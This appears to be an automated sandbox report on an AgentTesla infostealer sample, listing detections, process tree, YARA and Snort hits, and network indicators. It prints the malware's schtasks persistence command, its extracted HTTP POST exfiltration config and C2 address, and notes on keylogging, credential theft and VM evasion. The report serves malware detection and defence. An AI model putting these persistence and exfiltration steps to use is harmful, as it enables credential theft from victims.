Edit tour

Windows Analysis Report
pdP5Rv9pPW.exe

Overview

General Information

Sample Name:	pdP5Rv9pPW.exe
Analysis ID:	691823
MD5:	18e913ec810a1131c23d6fea7526c4f8
SHA1:	96c426169c87505e950898ad38913cc726bf198d
SHA256:	548a9d790d8d54baf1faf9c67133398a96fad5add7daa35e89aad9d777bd103d
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Installs a global keyboard hook

Tries to steal Mail credentials (via file / registry access)

Injects files into Windows application

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Machine Learning detection for sample

Binary or sample is protected by dotNetProtector

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

PE file contains executable resources (Code or Archives)

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

pdP5Rv9pPW.exe (PID: 5704 cmdline: "C:\Users\user\Desktop\pdP5Rv9pPW.exe" MD5: 18E913EC810A1131C23D6FEA7526C4F8)

vbc.exe (PID: 5224 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

cmd.exe (PID: 5020 cmdline: cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5076 cmdline: "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6128 cmdline: schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f MD5: 15FF7D8324231381BAD48A052F85DF04)

cmd.exe (PID: 4980 cmdline: cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

excel.exe (PID: 3980 cmdline: "C:\Users\user\AppData\Roaming\excel\excel.exe" MD5: B3A917344F5610BEEC562556F11300FA)

conhost.exe (PID: 3372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

excel.exe (PID: 992 cmdline: "C:\Users\user\AppData\Roaming\excel\excel.exe" MD5: B3A917344F5610BEEC562556F11300FA)

conhost.exe (PID: 5728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

fghn.exe (PID: 5836 cmdline: C:\Users\user\AppData\Roaming\fghn\fghn.exe MD5: 18E913EC810A1131C23D6FEA7526C4F8)

vbc.exe (PID: 1608 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

cmd.exe (PID: 5436 cmdline: cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3372 cmdline: "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5332 cmdline: schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f MD5: 15FF7D8324231381BAD48A052F85DF04)

cmd.exe (PID: 4888 cmdline: cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "Http", "HTTP method": "Post", "Post URL": "http://141.98.6.75/weption/inc/0986372054b5f8.php"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30055:$a13: get_DnsResolver 0x2e849:$a20: get_LastAccessed 0x309e9:$a27: set_InternalServerPort 0x30d02:$a30: set_GuidMasterKey 0x2e950:$a33: get_Clipboard 0x2e95e:$a34: get_Keyboard 0x2fc88:$a35: get_ShiftKeyDown 0x2fc99:$a36: get_AltKeyDown 0x2e96b:$a37: get_Password 0x2f40a:$a38: get_PasswordHash 0x3046b:$a39: get_DefaultCredentials
00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x353c5:$a13: get_DnsResolver 0x699e5:$a13: get_DnsResolver 0x9de05:$a13: get_DnsResolver 0x33bb9:$a20: get_LastAccessed 0x681d9:$a20: get_LastAccessed 0x9c5f9:$a20: get_LastAccessed 0x35d59:$a27: set_InternalServerPort 0x6a379:$a27: set_InternalServerPort 0x9e799:$a27: set_InternalServerPort 0x36072:$a30: set_GuidMasterKey 0x6a692:$a30: set_GuidMasterKey 0x9eab2:$a30: set_GuidMasterKey 0x33cc0:$a33: get_Clipboard 0x682e0:$a33: get_Clipboard 0x9c700:$a33: get_Clipboard 0x33cce:$a34: get_Keyboard 0x682ee:$a34: get_Keyboard 0x9c70e:$a34: get_Keyboard 0x34ff8:$a35: get_ShiftKeyDown 0x69618:$a35: get_ShiftKeyDown 0x9da38:$a35: get_ShiftKeyDown
00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pdP5Rv9pPW.exe PID: 5704	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: pdP5Rv9pPW.exe PID: 5704	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x336c3:$a13: get_DnsResolver 0x32117:$a20: get_LastAccessed 0x34006:$a27: set_InternalServerPort 0x34262:$a30: set_GuidMasterKey 0x3220a:$a33: get_Clipboard 0x32218:$a34: get_Keyboard 0x33395:$a35: get_ShiftKeyDown 0x333a6:$a36: get_AltKeyDown 0x32225:$a37: get_Password 0x32c20:$a38: get_PasswordHash 0x33aad:$a39: get_DefaultCredentials
Process Memory Space: vbc.exe PID: 5224	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 5224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 5224	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x750da:$a13: get_DnsResolver 0x73b2e:$a20: get_LastAccessed 0x75a1d:$a27: set_InternalServerPort 0x75c79:$a30: set_GuidMasterKey 0x73c21:$a33: get_Clipboard 0x73c2f:$a34: get_Keyboard 0x74dac:$a35: get_ShiftKeyDown 0x74dbd:$a36: get_AltKeyDown 0x73c3c:$a37: get_Password 0x74637:$a38: get_PasswordHash 0x754c4:$a39: get_DefaultCredentials
Process Memory Space: vbc.exe PID: 1608	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vbc.exe PID: 1608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.pdP5Rv9pPW.exe.3996170.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.0.vbc.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.0.vbc.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.3996170.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
2.0.vbc.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32b1b:$s10: logins 0x32582:$s11: credential 0x2eb50:$g1: get_Clipboard 0x2eb5e:$g2: get_Keyboard 0x2eb6b:$g3: get_Password 0x2fe78:$g4: get_CtrlKeyDown 0x2fe88:$g5: get_ShiftKeyDown 0x2fe99:$g6: get_AltKeyDown
0.2.pdP5Rv9pPW.exe.3996170.1.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30d1b:$s10: logins 0x30782:$s11: credential 0x2cd50:$g1: get_Clipboard 0x2cd5e:$g2: get_Keyboard 0x2cd6b:$g3: get_Password 0x2e078:$g4: get_CtrlKeyDown 0x2e088:$g5: get_ShiftKeyDown 0x2e099:$g6: get_AltKeyDown
0.2.pdP5Rv9pPW.exe.3996170.1.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x2e455:$a13: get_DnsResolver 0x2cc49:$a20: get_LastAccessed 0x2ede9:$a27: set_InternalServerPort 0x2f102:$a30: set_GuidMasterKey 0x2cd50:$a33: get_Clipboard 0x2cd5e:$a34: get_Keyboard 0x2e088:$a35: get_ShiftKeyDown 0x2e099:$a36: get_AltKeyDown 0x2cd6b:$a37: get_Password 0x2d80a:$a38: get_PasswordHash 0x2e86b:$a39: get_DefaultCredentials
2.0.vbc.exe.400000.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30255:$a13: get_DnsResolver 0x2ea49:$a20: get_LastAccessed 0x30be9:$a27: set_InternalServerPort 0x30f02:$a30: set_GuidMasterKey 0x2eb50:$a33: get_Clipboard 0x2eb5e:$a34: get_Keyboard 0x2fe88:$a35: get_ShiftKeyDown 0x2fe99:$a36: get_AltKeyDown 0x2eb6b:$a37: get_Password 0x2f60a:$a38: get_PasswordHash 0x3066b:$a39: get_DefaultCredentials
0.2.pdP5Rv9pPW.exe.39ca790.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.39ca790.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.39ca790.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30d1b:$s10: logins 0x30782:$s11: credential 0x2cd50:$g1: get_Clipboard 0x2cd5e:$g2: get_Keyboard 0x2cd6b:$g3: get_Password 0x2e078:$g4: get_CtrlKeyDown 0x2e088:$g5: get_ShiftKeyDown 0x2e099:$g6: get_AltKeyDown
0.2.pdP5Rv9pPW.exe.39ca790.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x2e455:$a13: get_DnsResolver 0x2cc49:$a20: get_LastAccessed 0x2ede9:$a27: set_InternalServerPort 0x2f102:$a30: set_GuidMasterKey 0x2cd50:$a33: get_Clipboard 0x2cd5e:$a34: get_Keyboard 0x2e088:$a35: get_ShiftKeyDown 0x2e099:$a36: get_AltKeyDown 0x2cd6b:$a37: get_Password 0x2d80a:$a38: get_PasswordHash 0x2e86b:$a39: get_DefaultCredentials
0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32b1b:$s10: logins 0x66f3b:$s10: logins 0x32582:$s11: credential 0x669a2:$s11: credential 0x2eb50:$g1: get_Clipboard 0x62f70:$g1: get_Clipboard 0x2eb5e:$g2: get_Keyboard 0x62f7e:$g2: get_Keyboard 0x2eb6b:$g3: get_Password 0x62f8b:$g3: get_Password 0x2fe78:$g4: get_CtrlKeyDown 0x64298:$g4: get_CtrlKeyDown 0x2fe88:$g5: get_ShiftKeyDown 0x642a8:$g5: get_ShiftKeyDown 0x2fe99:$g6: get_AltKeyDown 0x642b9:$g6: get_AltKeyDown
0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30255:$a13: get_DnsResolver 0x64675:$a13: get_DnsResolver 0x2ea49:$a20: get_LastAccessed 0x62e69:$a20: get_LastAccessed 0x30be9:$a27: set_InternalServerPort 0x65009:$a27: set_InternalServerPort 0x30f02:$a30: set_GuidMasterKey 0x65322:$a30: set_GuidMasterKey 0x2eb50:$a33: get_Clipboard 0x62f70:$a33: get_Clipboard 0x2eb5e:$a34: get_Keyboard 0x62f7e:$a34: get_Keyboard 0x2fe88:$a35: get_ShiftKeyDown 0x642a8:$a35: get_ShiftKeyDown 0x2fe99:$a36: get_AltKeyDown 0x642b9:$a36: get_AltKeyDown 0x2eb6b:$a37: get_Password 0x62f8b:$a37: get_Password 0x2f60a:$a38: get_PasswordHash 0x63a2a:$a38: get_PasswordHash 0x3066b:$a39: get_DefaultCredentials
0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32b1b:$s10: logins 0x6713b:$s10: logins 0x9b55b:$s10: logins 0x32582:$s11: credential 0x66ba2:$s11: credential 0x9afc2:$s11: credential 0x2eb50:$g1: get_Clipboard 0x63170:$g1: get_Clipboard 0x97590:$g1: get_Clipboard 0x2eb5e:$g2: get_Keyboard 0x6317e:$g2: get_Keyboard 0x9759e:$g2: get_Keyboard 0x2eb6b:$g3: get_Password 0x6318b:$g3: get_Password 0x975ab:$g3: get_Password 0x2fe78:$g4: get_CtrlKeyDown 0x64498:$g4: get_CtrlKeyDown 0x988b8:$g4: get_CtrlKeyDown 0x2fe88:$g5: get_ShiftKeyDown 0x644a8:$g5: get_ShiftKeyDown 0x988c8:$g5: get_ShiftKeyDown
0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30255:$a13: get_DnsResolver 0x64875:$a13: get_DnsResolver 0x98c95:$a13: get_DnsResolver 0x2ea49:$a20: get_LastAccessed 0x63069:$a20: get_LastAccessed 0x97489:$a20: get_LastAccessed 0x30be9:$a27: set_InternalServerPort 0x65209:$a27: set_InternalServerPort 0x99629:$a27: set_InternalServerPort 0x30f02:$a30: set_GuidMasterKey 0x65522:$a30: set_GuidMasterKey 0x99942:$a30: set_GuidMasterKey 0x2eb50:$a33: get_Clipboard 0x63170:$a33: get_Clipboard 0x97590:$a33: get_Clipboard 0x2eb5e:$a34: get_Keyboard 0x6317e:$a34: get_Keyboard 0x9759e:$a34: get_Keyboard 0x2fe88:$a35: get_ShiftKeyDown 0x644a8:$a35: get_ShiftKeyDown 0x988c8:$a35: get_ShiftKeyDown
Click to see the 15 entries

Snort Signatures

ET TROJAN AgentTesla Communicating with CnC Server - Source IP: 192.168.2.4 - Destination IP: 141.98.6.75

Timestamp:	192.168.2.4141.98.6.7549717802034579 08/28/22-17:19:41.645966
SID:	2034579
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Communicating with CnC Server - Source IP: 192.168.2.4 - Destination IP: 141.98.6.75

Timestamp:	192.168.2.4141.98.6.7549753802034579 08/28/22-17:21:11.426704
SID:	2034579
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: pdP5Rv9pPW.exe	Virustotal: Detection: 66%			Perma Link
Source: pdP5Rv9pPW.exe	ReversingLabs: Detection: 51%

Antivirus detection for URL or domain

Source: http://141.98.6.75/weption/inc/0986372054b5f8.php

Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: http://141.98.6.75	Virustotal: Detection: 5%			Perma Link
Source: http://141.98.6.75/weption/inc/0986372054b5f8.php	Virustotal: Detection: 11%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe

ReversingLabs: Detection: 51%

Machine Learning detection for sample

Source: pdP5Rv9pPW.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe

Joe Sandbox ML: detected

Source: 2.0.vbc.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Http", "HTTP method": "Post", "Post URL": "http://141.98.6.75/weption/inc/0986372054b5f8.php"}

Source: pdP5Rv9pPW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: pdP5Rv9pPW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: vbc.pdb source: vbc.exe, 00000002.00000003.370543337.000000000A09D000.00000004.00000800.00020000.00000000.sdmp, excel.exe, 0000000C.00000000.391226032.0000000001261000.00000020.00000001.01000000.00000007.sdmp, excel.exe.2.dr

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Users\user\AppData\Roaming\excel\excel.exe

Process created: C:\Windows\System32\conhost.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2034579 ET TROJAN AgentTesla Communicating with CnC Server 192.168.2.4:49717 -> 141.98.6.75:80
Source: Traffic	Snort IDS: 2034579 ET TROJAN AgentTesla Communicating with CnC Server 192.168.2.4:49753 -> 141.98.6.75:80

Source: Joe Sandbox View

ASN Name: CMCSUS CMCSUS

Source: global traffic	HTTP traffic detected: POST /weption/inc/0986372054b5f8.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 141.98.6.75Content-Length: 580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /weption/inc/0986372054b5f8.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 141.98.6.75Content-Length: 580Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75
Source: unknown	TCP traffic detected without corresponding DNS query: 141.98.6.75

Source: vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.75
Source: vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.75/weption/inc/0986372054b5f8.php
Source: vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.75/weption/inc/0986372054b5f8.php127.0.0.1POST
Source: vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.75/weption/inc/0986372054b5f8.phpa
Source: vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.75/weption/inc/0986372054b5f8.phpa(
Source: vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.98.6.754
Source: vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: vbc.exe, 00000017.00000002.590068919.00000000075B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://X7rzdy8x3IrJP.net
Source: vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ZWXWPK.com
Source: excel.exe, 0000000C.00000002.397005792.00000000006FA000.00000004.00000010.00020000.00000000.sdmp, excel.exe, 00000010.00000002.413724237.00000000004FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft
Source: vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%
Source: vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%appdata
Source: vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://di.98.6.75/weption/inc/0986372054b5f8.php
Source: vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

HTTP traffic detected: POST /weption/inc/0986372054b5f8.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 141.98.6.75Content-Length: 580Expect: 100-continueConnection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown

.NET source code contains very large array initializations

Source: 2.0.vbc.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b347C8262u002d2EBEu002d4E96u002d94BFu002dA26D5CC8C515u007d/u0038F8FDB3Bu002d6BBBu002d4200u002dAC0Au002d6D05451697D6.cs

Large array initialization: .cctor: array initializer size 11651

Source: pdP5Rv9pPW.exe

